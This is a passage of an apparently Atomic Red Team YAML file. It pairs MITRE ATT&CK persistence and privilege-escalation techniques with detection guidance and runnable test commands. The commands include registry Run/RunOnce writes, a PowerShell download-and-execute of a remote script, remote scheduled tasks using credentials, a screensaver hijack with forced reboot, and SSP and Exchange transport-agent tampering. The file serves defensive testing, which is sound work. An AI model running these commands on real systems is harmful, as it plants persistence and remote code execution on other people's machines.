Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs. + id: attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + x_mitre_system_requirements: + - HKEY_LOCAL_MACHINE keys require administrator access to create and modify + type: attack-pattern + x_mitre_detection: |- + Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data. + + Changes to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Oddvar Moe, @oddvarmoe + created: '2017-05-31T21:30:49.988Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1060 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1060 + - source_name: capec + external_id: CAPEC-270 + url: https://capec.mitre.org/data/definitions/270.html + - source_name: Microsoft Run Key + description: Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November + 12, 2014. + url: http://msdn.microsoft.com/en-us/library/aa376977 + - source_name: Microsoft RunOnceEx APR 2018 + description: Microsoft. (2018, August 20). Description of the RunOnceEx Registry + Key. Retrieved June 29, 2018. + url: https://support.microsoft.com/help/310593/description-of-the-runonceex-registry-key + - source_name: Oddvar Moe RunOnceEx Mar 2018 + description: Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden + from Autoruns.exe. Retrieved June 29, 2018. + url: https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/ + - description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. + Retrieved June 6, 2016. + source_name: TechNet Autoruns + url: https://technet.microsoft.com/en-us/sysinternals/bb963902 + modified: '2019-06-20T18:40:10.437Z' + identifier: T1060 + atomic_tests: + - name: Reg Key Run + description: "Run Key Persistence\n\nUpon successful execution, cmd.exe will + modify the registry by adding \"Atomic Red Team\" to the Run key. Output will + be via stdout. \n" + supported_platforms: + - windows + input_arguments: + command_to_execute: + description: Thing to Run + type: Path + default: C:\Path\AtomicRedTeam.exe + executor: + name: command_prompt + command: 'REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V + "Atomic Red Team" /t REG_SZ /F /D "#{command_to_execute}" + + ' + cleanup_command: 'REG DELETE "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" + /V "Atomic Red Team" /f + + ' + - name: Reg Key RunOnce + description: "RunOnce Key Persistence.\n\nUpon successful execution, cmd.exe + will modify the registry to load AtomicRedTeam.dll to RunOnceEx. Output will + be via stdout. \n" + supported_platforms: + - windows + input_arguments: + thing_to_execute: + description: Thing to Run + type: Path + default: C:\Path\AtomicRedTeam.dll + executor: + name: command_prompt + command: 'REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend + /v 1 /d "#{thing_to_execute}" + + ' + cleanup_command: 'REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend + /v 1 /f + + ' + - name: PowerShell Registry RunOnce + description: | + RunOnce Key Persistence via PowerShell + Upon successful execution, a new entry will be added to the runonce item in the registry. + supported_platforms: + - windows + input_arguments: + thing_to_execute: + description: Thing to Run + type: Path + default: powershell.exe + reg_key_path: + description: Path to registry key to update + type: Path + default: HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce + executor: + name: powershell + elevation_required: true + command: | + $RunOnceKey = "#{reg_key_path}" + set-itemproperty $RunOnceKey "NextRun" '#{thing_to_execute} "IEX (New-Object Net.WebClient).DownloadString(`"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Misc/Discovery.bat`")"' + cleanup_command: 'Remove-ItemProperty -Path #{reg_key_path} -Name "NextRun" + -Force -ErrorAction Ignore + + ' + T1053: + technique: + x_mitre_permissions_required: + - Administrator + - SYSTEM + - User + x_mitre_data_sources: + - File monitoring + - Process monitoring + - Process command-line parameters + - Windows event logs + name: Scheduled Task + description: |- + Utilities such as [at](https://attack.mitre.org/software/S0110) and [schtasks](https://attack.mitre.org/software/S0111), along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. Scheduling a task on a remote system typically required being a member of the Administrators group on the remote system. (Citation: TechNet Task Scheduler Security) + + An adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence, to conduct remote Execution as part of Lateral Movement, to gain SYSTEM privileges, or to run a process under the context of a specified account. + x_mitre_remote_support: true + id: attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9 + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.1' + type: attack-pattern + x_mitre_detection: |- + Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. + + Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10) + + * Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered + * Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated + * Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted + * Event ID 4698 on Windows 10, Server 2016 - Scheduled task created + * Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled + * Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled + + Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns) Look for changes to tasks that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. + + Monitor processes and command-line arguments for actions that could be taken to create tasks. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Prashant Verma, Paladion + - Leo Loobeek, @leoloobeek + - Travis Smith, Tripwire + - Alain Homewood, Insomnia Security + created: '2017-05-31T21:30:46.977Z' + x_mitre_effective_permissions: + - SYSTEM + - Administrator + - User + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: execution + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + external_references: + - external_id: T1053 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1053 + - source_name: capec + external_id: CAPEC-557 + url: https://capec.mitre.org/data/definitions/557.html + - source_name: TechNet Task Scheduler Security + description: Microsoft. (2005, January 21). Task Scheduler and security. Retrieved + June 8, 2016. + url: https://technet.microsoft.com/en-us/library/cc785125.aspx + - source_name: Twitter Leoloobeek Scheduled Task + description: Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved + December 12, 2017. + url: https://twitter.com/leoloobeek/status/939248813465853953 + - source_name: TechNet Forum Scheduled Task Operational Setting + description: Satyajit321. (2015, November 3). Scheduled Tasks History Retention + settings. Retrieved December 12, 2017. + url: https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen + - source_name: TechNet Scheduled Task Events + description: Microsoft. (n.d.). General Task Registration. Retrieved December + 12, 2017. + url: https://technet.microsoft.com/library/dd315590.aspx + - description: Microsoft. (2017, May 28). Audit Other Object Access Events. + Retrieved June 27, 2019. + source_name: Microsoft Scheduled Task Events Win10 + url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events + - description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. + Retrieved June 6, 2016. + source_name: TechNet Autoruns + url: https://technet.microsoft.com/en-us/sysinternals/bb963902 + modified: '2019-07-25T19:04:10.980Z' + identifier: T1053 + atomic_tests: + - name: At.exe Scheduled task + description: | + Executes cmd.exe + Note: deprecated in Windows 8+ + + Upon successful execution, cmd.exe will spawn at.exe and create a scheduled task that will spawn cmd at a specific time. + supported_platforms: + - windows + executor: + name: command_prompt + elevation_required: false + command: 'at 13:20 /interactive cmd + + ' + - name: Scheduled task Local + description: "Upon successful execution, cmd.exe will create a scheduled task + to spawn cmd.exe at 20:10. \n" + supported_platforms: + - windows + input_arguments: + task_command: + description: What you want to execute + type: String + default: C:\windows\system32\cmd.exe + time: + description: What time 24 Hour + type: String + default: 72600 + executor: + name: command_prompt + elevation_required: true + command: 'SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time} + + ' + cleanup_command: 'SCHTASKS /Delete /TN spawn /F + + ' + - name: Scheduled task Remote + description: "Create a task on a remote system.\n\nUpon successful execution, + cmd.exe will create a scheduled task to spawn cmd.exe at 20:10 on a remote + endpoint. \n" + supported_platforms: + - windows + input_arguments: + task_command: + description: What you want to execute + type: String + default: C:\windows\system32\cmd.exe + time: + description: What time 24 Hour + type: String + default: 72600 + target: + description: Target + type: String + default: localhost + user_name: + description: Username DOMAIN\User + type: String + default: DOMAIN\user + password: + description: Password + type: String + default: At0micStrong + executor: + name: command_prompt + elevation_required: true + command: 'SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN + "Atomic task" /TR "#{task_command}" /SC daily /ST #{time} + + ' + cleanup_command: 'SCHTASKS /Delete /TN "Atomic task" /F + + ' + - name: Powershell Cmdlet Scheduled Task + description: "Create an atomic scheduled task that leverages native powershell + cmdlets.\n\nUpon successful execution, powershell.exe will create a scheduled + task to spawn cmd.exe at 20:10. \n" + supported_platforms: + - windows + executor: + name: powershell + elevation_required: false + command: | + $Action = New-ScheduledTaskAction -Execute "calc.exe" + $Trigger = New-ScheduledTaskTrigger -AtLogon + $User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest + $Set = New-ScheduledTaskSettingsSet + $object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set + Register-ScheduledTask AtomicTask -InputObject $object + cleanup_command: 'Unregister-ScheduledTask -TaskName "AtomicTask" -confirm:$false + >$null 2>&1 + + ' + T1180: + technique: + x_mitre_data_sources: + - Process monitoring + - Process command-line parameters + - Windows Registry + - File monitoring + x_mitre_permissions_required: + - User + name: Screensaver + description: "Screensavers are programs that execute after a configurable time + of user inactivity and consist of Portable Executable (PE) files with a .scr + file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application + scrnsave.scr is located in C:\\Windows\\System32\\, and C:\\Windows\\sysWOW64\\ + on 64-bit Windows systems, along with screensavers included with base Windows + installations. \n\nThe following screensaver settings are stored in the Registry + (HKCU\\Control Panel\\Desktop\\) and could be manipulated to + achieve persistence:\n\n* SCRNSAVE.exe - set to malicious PE + path\n* ScreenSaveActive - set to '1' to enable the screensaver\n* + ScreenSaverIsSecure - set to '0' to not require a password to + unlock\n* ScreenSaveTimeout - sets user inactivity timeout before + screensaver is executed\n\nAdversaries can use screensaver settings to maintain + persistence by setting the screensaver to run malware after a certain timeframe + of user inactivity. (Citation: ESET Gazer Aug 2017)" + id: attack-pattern--2892b9ee-ca9f-4723-b332-0dc6e843a8ae + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.1' + type: attack-pattern + x_mitre_detection: |- + Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior. + + Tools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Bartosz Jerzman + created: '2018-01-16T16:13:52.465Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1180 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1180 + - description: Wikipedia. (2017, November 22). Screensaver. Retrieved December + 5, 2017. + source_name: Wikipedia Screensaver + url: https://en.wikipedia.org/wiki/Screensaver + - description: 'ESET. (2017, August). Gazing at Gazer: Turla’s new second stage + backdoor. Retrieved September 14, 2017.' + source_name: ESET Gazer Aug 2017 + url: https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf + modified: '2019-09-03T16:12:27.771Z' + identifier: T1180 + atomic_tests: + - name: Set Arbitrary Binary as Screensaver + description: 'This test copies a binary into the Windows System32 folder and + sets it as the screensaver so it will execute for persistence. Requires a + reboot and logon. + + ' + supported_platforms: + - windows + input_arguments: + input_binary: + description: Executable binary to use in place of screensaver for persistence + type: path + default: C:\Windows\System32\cmd.exe + executor: + name: command_prompt + elevation_required: true + command: | + copy #{input_binary} "%SystemRoot%\System32\evilscreensaver.scr" + reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d 1 /f + reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeout /t REG_SZ /d 60 /f + reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f + reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "%SystemRoot%\System32\evilscreensaver.scr" /f + shutdown /r /t 0 + T1101: + technique: + x_mitre_data_sources: + - DLL monitoring + - Windows Registry + - Loaded DLLs + x_mitre_permissions_required: + - Administrator + name: Security Support Provider + description: |- + Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages and HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called. + (Citation: Graeber 2014) + id: attack-pattern--6c174520-beea-43d9-aac6-28fb77f3e446 + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: 'Monitor the Registry for changes to the SSP Registry keys. + Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 + R2 may generate events when unsigned SSP DLLs try to load into the LSA by + setting the Registry key HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image + File Execution Options\LSASS.exe with AuditLevel = 8. (Citation: Graeber + 2014) (Citation: Microsoft Configure LSA)' + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-05-31T21:31:13.447Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1101 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1101 + - source_name: Graeber 2014 + description: Graeber, M. (2014, October). Analysis of Malicious Security Support + Provider DLLs. Retrieved March 1, 2017. + url: http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html + - source_name: Microsoft Configure LSA + description: Microsoft. (2013, July 31). Configuring Additional LSA Protection. + Retrieved June 24, 2015. + url: https://technet.microsoft.com/en-us/library/dn408187.aspx + modified: '2019-06-24T12:15:29.952Z' + identifier: T1101 + atomic_tests: + - name: Modify SSP configuration in registry + description: Add a value to a Windows registry SSP key, simulating an adversarial + modification of those keys. + supported_platforms: + - windows + input_arguments: + fake_ssp_dll: + description: Value added to registry key. Normally refers to a DLL name + in C:\Windows\System32. + type: String + default: not-a-ssp + executor: + name: powershell + elevation_required: true + command: | + # run these in sequence + $SecurityPackages = Get-ItemProperty HKLM:\System\CurrentControlSet\Control\Lsa -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages' + $SecurityPackagesUpdated = $SecurityPackages + $SecurityPackagesUpdated += "#{fake_ssp_dll}" + Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value $SecurityPackagesUpdated + + # revert (before reboot) + Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value $SecurityPackages + T1505: + technique: + x_mitre_data_sources: + - File monitoring + - Application logs + x_mitre_permissions_required: + - Administrator + - SYSTEM + - root + name: Server Software Component + description: |- + Adversaries may abuse legitimate extensible development features of server applications to establish persistent access to systems. Enterprise server applications may include features that allow application developers to write and install software to extend the functionality of the main application. Adversaries may install malicious software components to maliciously extend and abuse server applications. + + ###Transport Agent + Microsoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails.(Citation: Microsoft TransportAgent Jun 2016)(Citation: ESET LightNeuron May 2019) Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server. Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks. + + Adversaries may register a malicious transport agent to provide a persistence mechanism in Exchange Server that can be triggered by adversary-specified email events.(Citation: ESET LightNeuron May 2019) Though a malicious transport agent may be invoked for all emails passing through the Exchange transport pipeline, the agent can be configured to only carry out specific tasks in response to adversary defined criteria. For example, the transport agent may only carry out an action like copying in-transit attachments and saving them for later exfiltration if the recipient email address matches an entry on a list provided by the adversary. + + ###SQL Stored Procedures + SQL stored procedures are code that can be saved and reused so that database users do not waste time rewriting frequently used SQL queries. Stored procedures can be invoked via SQL statements to the database using the procedure name or via defined events (e.g. when a SQL server application is started/restarted). Adversaries may craft malicious stored procedures that can provide a persistence mechanism in SQL database servers.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019) To execute operating system commands through SQL syntax the adversary may have to enable additional functionality, such as xp_cmdshell for MSSQL Server.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019)(Citation: Microsoft xp_cmdshell 2017) + + Microsoft SQL Server can enable common language runtime (CLR) integration. With CLR integration enabled, application developers can write stored procedures using any .NET framework language (e.g. VB .NET, C#, etc.).(Citation: Microsoft CLR Integration 2017) Adversaries may craft or modify CLR assemblies that are linked to stored procedures, these CLR assemblies can be made to execute arbitrary commands.(Citation: NetSPI SQL Server CLR) + id: attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb + x_mitre_platforms: + - Windows + - Linux + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: 'Consider monitoring application logs for abnormal behavior + that may indicate suspicious installation of application software components. + Consider monitoring file locations associated with the installation of new + application software components such as paths from which applications typically + load such extensible components. On MSSQL Server, consider monitoring for + xp_cmdshell usage.(Citation: NetSPI Startup Stored Procedures)' + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Christoffer Strömblad + - Kaspersky + - Lucas da Silva Pereira, @vulcanunsec, CIP + - Carlos Borges, @huntingneo, CIP + - ESET + created: '2019-06-28T17:52:07.296Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - source_name: mitre-attack + external_id: T1505 + url: https://attack.mitre.org/techniques/T1505 + - description: Microsoft. (2016, June 1). Transport agents. Retrieved June 24, + 2019. + source_name: Microsoft TransportAgent Jun 2016 + url: https://docs.microsoft.com/en-us/exchange/transport-agents-exchange-2013-help + - description: 'Faou, M. (2019, May). Turla LightNeuron: One email away from + remote code execution. Retrieved June 24, 2019.' + source_name: ESET LightNeuron May 2019 + url: https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf + - description: 'Sutherland, S. (2016, March 7). Maintaining Persistence via + SQL Server – Part 1: Startup Stored Procedures. Retrieved July 8, 2019.' + source_name: NetSPI Startup Stored Procedures + url: https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/ + - description: 'Plakhov, A., Sitchikhin, D. (2019, August 22). Agent 1433: remote + attack on Microsoft SQL Server. Retrieved September 4, 2019.' + source_name: Kaspersky MSSQL Aug 2019 + url: https://securelist.com/malicious-tasks-in-ms-sql-server/92167/ + - description: Microsoft. (2017, March 15). xp_cmdshell (Transact-SQL). Retrieved + September 9, 2019. + source_name: Microsoft xp_cmdshell 2017 + url: https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-2017 + - description: Microsoft. (2017, June 19). Common Language Runtime Integration. + Retrieved July 8, 2019. + source_name: Microsoft CLR Integration 2017 + url: https://docs.microsoft.com/en-us/sql/relational-databases/clr-integration/common-language-runtime-integration-overview?view=sql-server-2017 + - description: Sutherland, S. (2017, July 13). Attacking SQL Server CLR Assemblies. + Retrieved July 8, 2019. + source_name: NetSPI SQL Server CLR + url: https://blog.netspi.com/attacking-sql-server-clr-assemblies/ + modified: '2019-09-27T19:01:29.543Z' + identifier: T1505 + atomic_tests: + - name: Install MS Exchange Transport Agent Persistence + description: | + Install a Microsoft Exchange Transport Agent for persistence. This requires execution from an Exchange Client Access Server and the creation of a DLL with specific exports. Seen in use by Turla. + More details- https://docs.microsoft.com/en-us/exchange/transport-agents-exchange-2013-help + supported_platforms: + - windows + input_arguments: + transport_agent_identity: + description: Friendly name of transport agent once installed. + type: string + default: Security Interop Agent + dll_path: + description: Path of DLL to use as transport agent. + type: path + default: c:\program files\microsoft\Exchange Server\v15\bin\Microsoft.Exchange.Security.Interop.dll + class_factory: + description: Class factory of transport agent. + type: string + default: Microsoft.Exchange.Security.Interop.SecurityInteropAgentFactory + dependencies: + - description: Microsoft Exchange SnapIn must be installed + prereq_command: Get-TransportAgent -TransportService FrontEnd + get_prereq_command: Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn + executor: + name: powershell + elevation_required: true + command: | + Install-TransportAgent -Name #{transport_agent_identity} -TransportAgentFactory #{class_factory} -AssemblyPath #{dll_path} + Enable-TransportAgent #{transport_agent_identity} + Get-TransportAgent | Format-List Name,Enabled + cleanup_command: | + Disable-TransportAgent #{transport_agent_identity} + Uninstall-TransportAgent #{transport_agent_identity} + Get-TransportAgent + T1058: + technique: + x_mitre_data_sources: + - Process command-line parameters + - Services + - Windows Registry + x_mitre_permissions_required: + - Administrator + - SYSTEM + name: Service Registry Permissions Weakness + description: |- + Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1086), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security) + + If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). + + Adversaries may also alter Registry keys associated with service failure parameters (such as FailureCommand) that may be executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: TrustedSignal Service Failure)(Citation: Twitter Service Recovery Nov 2017) + id: attack-pattern--39a130e1-6ab7-434a-8bd2-418e7d9d6427 + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.1' + x_mitre_system_requirements: + - Ability to modify service values in the Registry + type: attack-pattern + x_mitre_detection: |- + Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. + + Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. + + Monitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Matthew Demaske, Adaptforward + - Travis Smith, Tripwire + created: '2017-05-31T21:30:49.119Z' + x_mitre_effective_permissions: + - SYSTEM + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + external_references: + - external_id: T1058 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1058 + - source_name: capec + external_id: CAPEC-478 + url: https://capec.mitre.org/data/definitions/478.html + - source_name: MSDN Registry Key Security + description: Microsoft. (n.d.). Registry Key Security and Access Rights. Retrieved + March 16, 2017. + url: https://msdn.microsoft.com/library/windows/desktop/ms724878.aspx + - description: 'Hull, D. (2014, May 3). Kansa: Service related collectors and + analysis. Retrieved October 10, 2019.' + source_name: TrustedSignal Service Failure + url: https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html + - source_name: Twitter Service Recovery Nov 2017 + description: The Cyber (@r0wdy_). (2017, November 30). Service Recovery Parameters. + Retrieved April 9, 2018. + url: https://twitter.com/r0wdy_/status/936365549553991680 + - source_name: TechNet Autoruns + description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. + Retrieved June 6, 2016. + url: https://technet.microsoft.com/en-us/sysinternals/bb963902 + modified: '2019-10-11T02:52:39.175Z' + identifier: T1058 + atomic_tests: + - name: Service Registry Permissions Weakness + description: "Service registry permissions weakness check and then which can + lead to privilege escalation with ImagePath. eg. \nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{weak_service_name}\" + /v ImagePath /d \"C:\\temp\\AtomicRedteam.exe\"\n" + supported_platforms: + - windows + input_arguments: + weak_service_name: + description: weak service check + type: String + default: weakservicename + executor: + name: powershell + elevation_required: false + command: | + get-acl REGISTRY::HKLM\SYSTEM\CurrentControlSet\Services\* |FL + get-acl REGISTRY::HKLM\SYSTEM\CurrentControlSet\Services\#{weak_service_name} |FL + T1166: + technique: + x_mitre_data_sources: + - File monitoring + - Process monitoring + - Process command-line parameters + x_mitre_permissions_required: + - User + name: Setuid and Setgid + description: |- + When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively (Citation: setuid man page). Normally an application is run in the current user’s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an "s" instead of an "x" when viewing a file's attributes via ls -l. The chmod program can set these bits with via bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file]. + + An adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user’s context. Additionally, adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future (Citation: OSX Keydnap malware). + id: attack-pattern--c0df6533-30ee-4a4a-9c6d-17af5abdf0b2 + x_mitre_platforms: + - Linux + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: Monitor the file system for files that have the setuid or + setgid bits set. Monitor for execution of utilities, like chmod, and their + command-line arguments to look for setuid or setguid bits being set. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-12-14T16:46:06.044Z' + x_mitre_effective_permissions: + - Administrator + - root + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1166 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1166 + - source_name: setuid man page + description: Michael Kerrisk. (2017, September 15). Linux Programmer's Manual. + Retrieved September 21, 2018. + url: http://man7.org/linux/man-pages/man2/setuid.2.html + - source_name: OSX Keydnap malware + description: Marc-Etienne M.Leveille. (2016, July 6). New 